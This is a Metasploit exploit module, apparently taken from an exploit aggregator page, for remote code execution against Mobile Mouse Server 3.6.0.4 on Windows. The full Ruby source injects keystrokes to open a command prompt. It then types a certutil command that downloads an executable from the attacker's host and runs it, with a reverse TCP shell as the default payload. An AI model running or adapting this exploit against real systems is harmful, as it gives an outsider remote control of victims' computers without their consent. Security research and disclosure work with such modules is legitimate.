Share
## https://sploitus.com/exploit?id=PACKETSTORM:168547
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Exploit::Remote::Tcp  
include Exploit::EXE # generate_payload_exe  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::FileDropper  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Mobile Mouse RCE',  
'Description' => %q{  
This module utilizes the Mobile Mouse Server by RPA Technologies, Inc protocol  
to deploy a payload and run it from the server. This module will only deploy  
a payload if the server is set without a password (default).  
Tested against 3.6.0.4, current at the time of module writing  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die', # msf module  
'CHOKRI HAMMEDI' # edb  
],  
'References' => [  
[ 'EDB', '51010' ],  
[ 'URL', 'https://mobilemouse.com/' ],  
],  
'Arch' => [ ARCH_X64, ARCH_X86 ],  
'Platform' => 'win',  
'Stance' => Msf::Exploit::Stance::Aggressive,  
'Targets' => [  
['default', {}],  
],  
'Payload' => {  
'BadChars' => "\x04\x1E"  
},  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/shell/reverse_tcp'  
},  
'DisclosureDate' => '2022-09-20',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [ARTIFACTS_ON_DISK] # typing on screen  
}  
)  
)  
register_options(  
[  
OptPort.new('RPORT', [true, 'Port Mobile Mouse runs on', 9099]),  
OptInt.new('SLEEP', [true, 'How long to sleep between commands', 3]),  
OptString.new('PATH', [true, 'Where to stage payload for pull method', 'c:\\Windows\\Temp\\']),  
OptString.new('CLIENTNAME', [false, 'Name of client, this shows up in the logs', '']),  
]  
)  
end  
  
def path  
return datastore['PATH'] if datastore['PATH'].end_with? '\\'  
  
"#{datastore['PATH']}\\"  
end  
  
def connect_command  
connect_command = 'CONNECT' # 434F4E4E454354  
connect_command << "\x1E\x1E"  
connect_command << @client_name  
connect_command << "\x1E"  
connect_command << 'iPhone' # 6950686F6E65  
connect_command << "\x1E"  
# the next 2,2 may be a version number of some sort  
connect_command << '2' # 32  
connect_command << "\x1E"  
connect_command << '2' # 32  
connect_command << "\x1E\x04"  
sock.put(connect_command)  
sleep(datastore['SLEEP'])  
end  
  
def open_command_prompt  
open_command_prompt = 'KEY' # 4b4559  
open_command_prompt << "\x1E"  
open_command_prompt << '114' # 313134 windows key?  
open_command_prompt << "\x1E"  
open_command_prompt << 'r' # 72  
open_command_prompt << "\x1E"  
open_command_prompt << 'OPT' # 4f5054  
open_command_prompt << "\x04"  
sock.put(open_command_prompt)  
sleep(datastore['SLEEP'])  
end  
  
def script_content(payload)  
script_content = 'KEY' # 4B4559  
script_content << "\x1E"  
script_content << '100' # 313030  
script_content << "\x1E"  
script_content << payload  
script_content << "\x1E\x04"  
script_content << 'KEY' # 4B4559  
script_content << "\x1E"  
script_content << '-1' # 2d31  
script_content << "\x1E"  
script_content << 'ENTER' # 454e544552  
script_content << "\x1E\x04"  
sock.put(script_content)  
sleep(datastore['SLEEP'])  
end  
  
def on_request_uri(cli, _req)  
p = generate_payload_exe  
send_response(cli, p)  
print_good("Payload request received, sending #{p.length} bytes of payload for staging")  
end  
  
def check  
if datastore['CLIENTNAME'].blank?  
@client_name = Rex::Text.rand_text_alphanumeric(5..10).to_s  
print_status("Client name set to: #{@client_name}")  
else  
@client_name = datastore['CLIENTNAME']  
end  
  
connect  
  
print_status('Connecting')  
connect_command  
res = sock.get_once  
if res.nil?  
return CheckCode::Unknown('No response received from target')  
end  
  
disconnect  
  
res = res.split("\x1E")  
if res[1] == 'NO'  
return CheckCode::Safe("Unable to connect, server response: #{res[4]}")  
end  
  
CheckCode::Appears("Connected to hostname #{res[3]} with MAC address #{res[5]}")  
end  
  
def exploit  
if datastore['CLIENTNAME'].blank?  
@client_name = Rex::Text.rand_text_alphanumeric(5..10).to_s  
print_status("Client name set to: #{@client_name}")  
else  
@client_name = datastore['CLIENTNAME']  
end  
  
connect  
  
print_status('Connecting')  
connect_command  
res = sock.get_once  
if res.nil?  
fail_with(Failure::Disconnected, 'No response received from target')  
end  
  
res = res.split("\x1E")  
if res[1] == 'NO'  
fail_with(Failure::NoAccess, "Unable to connect, server response: #{res[4]}")  
end  
vprint_good("Connected to hostname #{res[3]} with MAC address #{res[5]}")  
  
print_status('Opening Command Prompt')  
open_command_prompt  
# for whatever reason, if we don't read here the server doesn't want to keep playing with us, so read but throw away  
sock.get_once  
  
print_status('Sending stager')  
filename = Rex::Text.rand_text_alphanumeric(rand(8..17)) + '.exe'  
register_file_for_cleanup("#{path}#{filename}")  
# I attempted to put this all in one, stage, run, exit, but it was never successful, so we'll keep it in 2  
stager = "certutil.exe -urlcache -f http://#{datastore['lhost']}:#{datastore['SRVPORT']}/ #{path}#{filename}"  
start_service('Path' => '/') # start webserver  
script_content(stager)  
  
print_status('Opening Command Prompt again')  
open_command_prompt  
print_status('Executing payload')  
script_content("#{path}#{filename} && exit")  
  
handler  
disconnect  
sleep(datastore['SLEEP'] * 2) # give time for it to do its thing before we revert  
end  
end